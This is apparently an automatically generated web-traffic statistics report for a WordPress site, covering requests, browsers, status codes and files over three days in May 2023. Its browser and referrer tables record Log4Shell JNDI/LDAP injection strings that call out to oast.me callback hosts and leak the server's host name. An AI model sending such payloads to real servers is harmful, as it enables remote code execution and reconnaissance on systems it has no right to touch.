Program started on Mon, May 15 2023 at 5:42 AM.
Analyzed requests from Fri, May 12 2023 at 5:40 AM to Mon, May 15 2023 at 5:42 AM (3.00 days).
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Successful requests: 5,351
Average successful requests per day: 1,782
Successful requests for pages: 272
Average successful requests for pages per day: 90
Failed requests: 4,647
Redirected requests: 46
Distinct files requested: 1,395
Distinct hosts served: 91
Data transferred: 2.18 gigabytes
Average data transferred per day: 742.70 megabytes
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Each unit () represents 8 requests for pages or part thereof.
month | #reqs | #pages | |
---|---|---|---|
May 2023 | 5351 | 272 |
Busiest month: May 2023 (272 requests for pages).
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Each unit () represents 4 requests for pages or part thereof.
day | #reqs | #pages | |
---|---|---|---|
Sun | 40 | 36 | |
Mon | 5246 | 173 | |
Tue | 0 | 0 | |
Wed | 0 | 0 | |
Thu | 0 | 0 | |
Fri | 34 | 34 | |
Sat | 31 | 29 |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Each unit () represents 2 requests for pages or part thereof.
hour | #reqs | #pages | |
---|---|---|---|
0 | 6 | 6 | |
1 | 4 | 4 | |
2 | 2 | 2 | |
3 | 1787 | 45 | |
4 | 1947 | 80 | |
5 | 1525 | 60 | |
6 | 2 | 2 | |
7 | 2 | 2 | |
8 | 6 | 6 | |
9 | 9 | 9 | |
10 | 6 | 5 | |
11 | 2 | 2 | |
12 | 1 | 1 | |
13 | 7 | 6 | |
14 | 1 | 1 | |
15 | 7 | 6 | |
16 | 2 | 2 | |
17 | 2 | 2 | |
18 | 6 | 4 | |
19 | 3 | 3 | |
20 | 5 | 5 | |
21 | 7 | 7 | |
22 | 11 | 11 | |
23 | 1 | 1 |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing domains, sorted by the amount of traffic.
#reqs | %bytes | domain |
---|---|---|
5351 | 100% | [unresolved numerical addresses] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing the top 20 organizations by the number of requests, sorted by the number of requests.
#reqs | %bytes | organization |
---|---|---|
4976 | 44.18% | 178.131 |
224 | 0.07% | 185.112 |
33 | 0.04% | 66.249 |
9 | 141.105 | |
6 | 167.94 | |
6 | 40 | |
5 | 0.01% | 51 |
5 | 84 | |
4 | 0.01% | 128.14 |
4 | 87 | |
4 | 27.82% | 107 |
3 | 54 | |
3 | 183.136 | |
3 | 64.62 | |
3 | 35 | |
3 | 27.82% | 38 |
3 | 0.01% | 104 |
3 | 162.142 | |
2 | 139.180 | |
2 | 212.87 | |
50 | 0.03% | [not listed: 42 organizations] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing referring URLs, sorted by the number of redirected requests.
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing referring URLs, sorted by the number of failed requests.
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing referring sites, sorted by the number of requests.
#reqs | site |
---|---|
5065 | https://bakhtaei.ir/ |
2 | ${jndi:ldap:/ |
2 | https://185.112.151.66/ |
2 | http://cpanel.bakhtaei.ir/ |
1 | https://www.google.com/ |
1 | http://webmail.bakhtaei.ir/ |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing the top 40 browsers by the number of requests for pages, sorted by the number of requests for pages.
#reqs | #pages | browser |
---|---|---|
4976 | 73 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 |
57 | 57 | MailPoet Cron |
10 | 10 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36 |
7 | 7 | curl/7.54.0 |
6 | 6 | Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.142 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) |
6 | 6 | Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/103.0.5060.134 Safari/537.36 |
115 | 6 | WordPress/6.2; https://bakhtaei.ir |
6 | 6 | Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) |
6 | 6 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 |
5 | 5 | Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/) |
4 | 4 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 |
4 | 4 | Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/) |
3 | 3 | Mozilla/5.0 (X11; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0 |
3 | 3 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36 |
3 | 2 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Vivaldi/5.3.2679.68 |
2 | 2 | Mozilla/5.0 zgrab/0.x |
5 | 2 | WordPress/5.8; https://bakhtaei.ir |
4 | 2 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36 |
3 | 2 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 |
4 | 2 | Mozilla/5.0 (Linux; U; Android 4.3; en-us; SM-N900T Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 |
2 | 2 | Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0 |
2 | 2 | Python/3.8 aiohttp/3.8.3 |
2 | 2 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0 |
1 | 1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 |
1 | 1 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 |
1 | 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0 |
1 | 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 |
1 | 1 | Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.310.0 Safari/532.9 |
1 | 1 | ${jndi:ldap://${:-133}${:-202}.${hostName}.useragent.chg3ieb332t7hnkes8t0j86cqksjposqa.oast.me} |
1 | 1 | ${jndi:ldap://${hostName}.useragent.chg3ieb332t7hnkes8t0juz1rwgfcb9gx.oast.me} |
1 | 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36 |
1 | 1 | Mozilla/5.0 (Windows NT 6.2;en-US) AppleWebKit/537.32.36 (KHTML, live Gecko) Chrome/54.0.3055.96 Safari/537.32 |
1 | 1 | Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 |
1 | 1 | Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 |
1 | 1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36 |
1 | 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.70 |
1 | 1 | HTTP Banner Detection (https://security.ipip.net) |
1 | 1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36 |
1 | 1 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE |
2 | 1 | Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Mobile Safari/537.36 |
71 | 14 | [not listed: 18 browsers] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing browsers with at least 1 request for a page, sorted by the number of requests for pages.
# | #reqs | #pages | browser |
---|---|---|---|
1 | 5066 | 134 | Safari |
5060 | 131 | Safari/537 | |
4 | 2 | Safari/534 | |
1 | 1 | Safari/532 | |
2 | 57 | 57 | MailPoet Cron |
3 | 15 | 15 | Netscape (compatible) |
4 | 15 | 13 | Firefox |
3 | 3 | Firefox/104 | |
2 | 2 | Firefox/107 | |
2 | 2 | Firefox/47 | |
2 | 2 | Firefox/110 | |
1 | 1 | Firefox/10 | |
1 | 1 | Firefox/78 | |
1 | 1 | Firefox/79 | |
1 | 1 | Firefox/101 | |
5 | 152 | 8 | WordPress |
115 | 6 | WordPress/6 | |
37 | 2 | WordPress/5 | |
6 | 7 | 7 | curl |
7 | 7 | curl/7 | |
7 | 3 | 3 | Python |
3 | 3 | Python/3 | |
8 | 3 | 3 | Mozilla |
9 | 2 | 2 | ${jndi:ldap: |
1 | 1 | ${jndi:ldap://${hostName} | |
1 | 1 | ${jndi:ldap://${:-133}${:-202} | |
10 | 3 | 2 | python-requests |
3 | 2 | python-requests/2 | |
11 | 1 | 1 | HTTP Banner Detection (https: |
1 | 1 | HTTP Banner Detection (https://security |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing operating systems, sorted by the number of requests for pages.
# | #reqs | #pages | OS |
---|---|---|---|
1 | 5023 | 114 | Windows |
5018 | 109 | Windows NT | |
4 | 4 | Unknown Windows | |
1 | 1 | Windows Server 2003 | |
2 | 269 | 103 | OS unknown |
3 | 22 | 19 | Unix |
22 | 19 | Linux | |
4 | 10 | 9 | Macintosh |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing status codes, sorted numerically.
#reqs | status code |
---|---|
4396 | 200 OK |
42 | 206 Partial content |
8 | 301 Document moved permanently |
38 | 302 Document found elsewhere |
913 | 304 Not modified since last retrieval |
1 | 400 Bad request |
4 | 401 Authentication required |
50 | 403 Access forbidden |
4455 | 404 Document not found |
1 | 405 Method not allowed |
130 | 500 Internal server error |
6 | 503 Service temporarily unavailable |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
size | #reqs | %bytes |
---|---|---|
0 | 1010 | |
1B- 10B | 1 | |
11B- 100B | 618 | |
101B- 1kB | 773 | 0.01% |
1kB- 10kB | 1216 | 0.22% |
10kB-100kB | 1252 | 1.78% |
100kB- 1MB | 415 | 5.25% |
1MB- 10MB | 24 | 2.10% |
10MB-100MB | 40 | 34.99% |
100MB- 1GB | 2 | 55.65% |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing extensions with at least 0.1% of the traffic, sorted by the amount of traffic.
#reqs | %bytes | extension |
---|---|---|
2 | 55.65% | .zip [Zip archives] |
48 | 35.83% | .mp4 |
1241 | 2.89% | .php [PHP] |
933 | 2.13% | .css [Cascading Style Sheets] |
1876 | 1.88% | .js [JavaScript code] |
528 | 0.80% | .jpg [JPEG graphics] |
268 | 0.24% | [directories] |
134 | 0.19% | .png [PNG graphics] |
22 | 0.10% | .ttf |
299 | 0.29% | [not listed: 9 extensions] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing directories with at least 0.01% of the traffic, sorted by the amount of traffic.
#reqs | %bytes | directory |
---|---|---|
393 | 55.82% | [root directory] |
2400 | 40.51% | /wp-content/ |
1314 | 2.96% | /wp-admin/ |
1130 | 0.64% | /wp-includes/ |
22 | 0.06% | /portfolio-items/ |
90 | 0.02% | /wp-json/ |
2 | [not listed: 2 directories] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing files with at least 20 requests, sorted by the number of requests.
#reqs | %bytes | last time | file |
---|---|---|---|
919 | 1.02% | May/15/23 5:42 AM | /wp-admin/admin-ajax.php |
83 | 0.10% | May/15/23 5:39 AM | /wp-admin/admin-ajax.php?_fs_blog_admin=true |
244 | 0.17% | May/15/23 5:41 AM | / |
37 | May/15/23 5:34 AM | /?wc-ajax=get_refreshed_fragments | |
142 | May/15/23 5:42 AM | /wp-cron.php | |
66 | 1.05% | May/15/23 5:21 AM | /wp-admin/post.php |
28 | 0.44% | May/15/23 5:14 AM | /wp-admin/load-styles.php |
28 | May/15/23 5:38 AM | /wp-includes/js/media-models.min.js | |
16 | May/15/23 5:09 AM | /wp-includes/js/media-models.min.js?ver=6.2 | |
10 | May/15/23 3:56 AM | /wp-includes/js/media-models.min.js?ver=5.8.6 | |
27 | 0.09% | May/15/23 5:16 AM | /wp-admin/load-scripts.php |
24 | May/15/23 5:38 AM | /wp-includes/js/dist/i18n.min.js | |
22 | May/15/23 5:38 AM | /wp-includes/js/dist/i18n.min.js?ver=9e794f35a71bb98672ae | |
24 | May/15/23 5:38 AM | /wp-includes/js/clipboard.min.js | |
21 | May/15/23 5:38 AM | /wp-includes/js/clipboard.min.js?ver=2.0.11 | |
24 | May/15/23 5:38 AM | /wp-includes/js/wp-util.min.js | |
17 | May/15/23 5:09 AM | /wp-includes/js/wp-util.min.js?ver=6.2 | |
24 | May/15/23 5:38 AM | /wp-includes/js/underscore.min.js | |
21 | May/15/23 5:38 AM | /wp-includes/js/underscore.min.js?ver=1.13.4 | |
23 | May/15/23 5:38 AM | /wp-includes/js/jquery/ui/core.min.js | |
21 | May/15/23 5:38 AM | /wp-includes/js/jquery/ui/core.min.js?ver=1.13.2 | |
22 | May/15/23 5:38 AM | /wp-includes/js/admin-bar.min.js | |
17 | May/15/23 5:09 AM | /wp-includes/js/admin-bar.min.js?ver=6.2 | |
22 | May/15/23 5:08 AM | /wp-admin/async-upload.php | |
21 | May/15/23 5:38 AM | /wp-includes/js/jquery/ui/draggable.min.js | |
20 | May/15/23 5:38 AM | /wp-includes/js/jquery/ui/draggable.min.js?ver=1.13.2 | |
21 | May/15/23 5:38 AM | /wp-includes/js/jquery/ui/mouse.min.js | |
20 | May/15/23 5:38 AM | /wp-includes/js/jquery/ui/mouse.min.js?ver=1.13.2 | |
21 | May/15/23 5:38 AM | /wp-includes/js/backbone.min.js | |
20 | May/15/23 5:38 AM | /wp-includes/js/backbone.min.js?ver=1.4.1 | |
20 | May/15/23 5:38 AM | /wp-includes/js/jquery/ui/sortable.min.js | |
19 | May/15/23 5:38 AM | /wp-includes/js/jquery/ui/sortable.min.js?ver=1.13.2 | |
20 | May/15/23 5:38 AM | /wp-includes/js/dist/dom-ready.min.js | |
19 | May/15/23 5:38 AM | /wp-includes/js/dist/dom-ready.min.js?ver=392bdd43726760d1f3ca | |
20 | May/15/23 5:38 AM | /wp-includes/js/api-request.min.js | |
15 | May/15/23 5:07 AM | /wp-includes/js/api-request.min.js?ver=6.2 | |
20 | 0.02% | May/15/23 5:38 AM | /wp-includes/js/mediaelement/mediaelement-and-player.min.js |
19 | 0.01% | May/15/23 5:38 AM | /wp-includes/js/mediaelement/mediaelement-and-player.min.js?ver=4.2.17 |
20 | May/15/23 5:38 AM | /wp-includes/js/dist/a11y.min.js | |
19 | May/15/23 5:38 AM | /wp-includes/js/dist/a11y.min.js?ver=ecce20f002eda4c19664 | |
20 | May/15/23 5:12 AM | /wp-json/reallysimplessl/v1/do_action/dismiss_modal | |
20 | May/15/23 5:12 AM | /wp-json/reallysimplessl/v1/do_action/dismiss_modal?_locale=user | |
20 | May/15/23 5:38 AM | /wp-includes/js/dist/vendor/react.min.js | |
19 | May/15/23 5:38 AM | /wp-includes/js/dist/vendor/react.min.js?ver=18.2.0 | |
20 | 0.01% | May/15/23 5:38 AM | /wp-includes/js/wp-emoji-release.min.js |
18 | 0.01% | May/15/23 5:06 AM | /wp-includes/js/wp-emoji-release.min.js?ver=6.2 |
20 | 0.02% | May/15/23 5:38 AM | /wp-includes/js/dist/vendor/react-dom.min.js |
19 | 0.01% | May/15/23 5:38 AM | /wp-includes/js/dist/vendor/react-dom.min.js?ver=18.2.0 |
3491 | 97.15% | May/15/23 5:38 AM | [not listed: 778 files] |